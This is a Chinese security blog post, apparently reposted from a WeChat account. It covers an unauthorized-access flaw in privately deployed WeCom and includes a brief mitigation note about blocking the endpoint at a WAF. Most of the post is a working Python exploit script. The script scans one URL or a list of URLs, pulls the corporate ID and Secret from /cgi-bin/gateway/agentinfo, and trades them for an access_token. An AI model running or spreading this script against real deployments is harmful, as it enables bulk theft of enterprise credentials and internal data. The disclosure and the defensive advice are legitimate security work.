企业微信(私有部署)未授权访问漏洞

admin 2023年8月12日19:37:37评论243 views字数 2045阅读6分49秒阅读模式

声明:本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,立即删除。

企业微信零日漏洞攻击事件,企业微信XXX.com/cgi-bin/gateway/agentinfo接口未授权情况下可直接获取企业微信secret等敏感信息,可导致企业微信全量数据被获取,文件获取、使用企业微信轻应用对内力量发送钓鱼文件和链接等风险临时缓释措施为将/cgi-bin/gateway/agentinfo在WAF上进行阻断,具体可联系企业微信团队进行应急,请各单位加强防范

企业微信(私有部署)未授权访问漏洞

poc脚本:

import argparse

import requests

import urllib3

import json

from colorama import init

from colorama import Fore

init(autoreset=True)

urllib3.disable_warnings()


head = {

    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",

    "Content-Type": "application/x-www-form-urlencoded"

}

def getkey(url):

    print(f"正在测试{url}是否存在微信key泄露")

    if url.endswith("/"):

        path = f"cgi-bin/gateway/agentinfo"

    else:

        path = f"/cgi-bin/gateway/agentinfo"

    pocurl = url + path

    try:

        res = requests.get(url=pocurl, headers=head, verify=False, timeout=3)

        if "Secret" in res.text:

            print(Fore.GREEN + f"[+]{url}存在漏洞")

            datas = json.loads(res.text)

            print(f"corpid:{datas['corpid']}")

            print("strcorpid:" + datas["strcorpid"])

            print("Secret:" + datas["Secret"])

            print(Fore.BLUE + "尝试获取access_token")

            tokenurl = f"{url}/cgi-bin/gettoken?corpid={datas['strcorpid']}&corpsecret={datas['Secret']}"

            print(tokenurl)

            restoken = requests.get(url=tokenurl, headers=head, verify=False, timeout=3)

            if "access_token" in restoken.text:

                print(Fore.GREEN + "[+]成功获取到accesstoken")

                tokens = json.loads(restoken.text)

                print(f"access_token:{tokens['access_token']}")

            else:

                print(Fore.RED + "未获取到access_token")

        else:

            print(Fore.RED + "不存在此漏洞")

    except:

        print("连接失败")


if __name__ == '__main__':

    parser = argparse.ArgumentParser( )

    p = parser.add_argument_group('参数')

    p.add_argument("-u", "--url", type=str, help="测试单条url")

    p.add_argument("-f", "--file", type=str, help="测试多个url文件")

    args = parser.parse_args()

    if not args.url and not args.file:

        print("请输入 -u 参数指定 URL 地址:python3 exp.py -u url")

        parser.print_help()

        exit()

    if args.url:

        getkey(args.url)

    if args.file:

        for i in open(args.file, "r").read().split("n"):

            getkey(i)

验证效果:

企业微信(私有部署)未授权访问漏洞


原文始发于微信公众号(Kone安全):企业微信(私有部署)未授权访问漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月12日19:37:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   企业微信(私有部署)未授权访问漏洞https://cn-sec.com/archives/1953161.html

发表评论

匿名网友 填写信息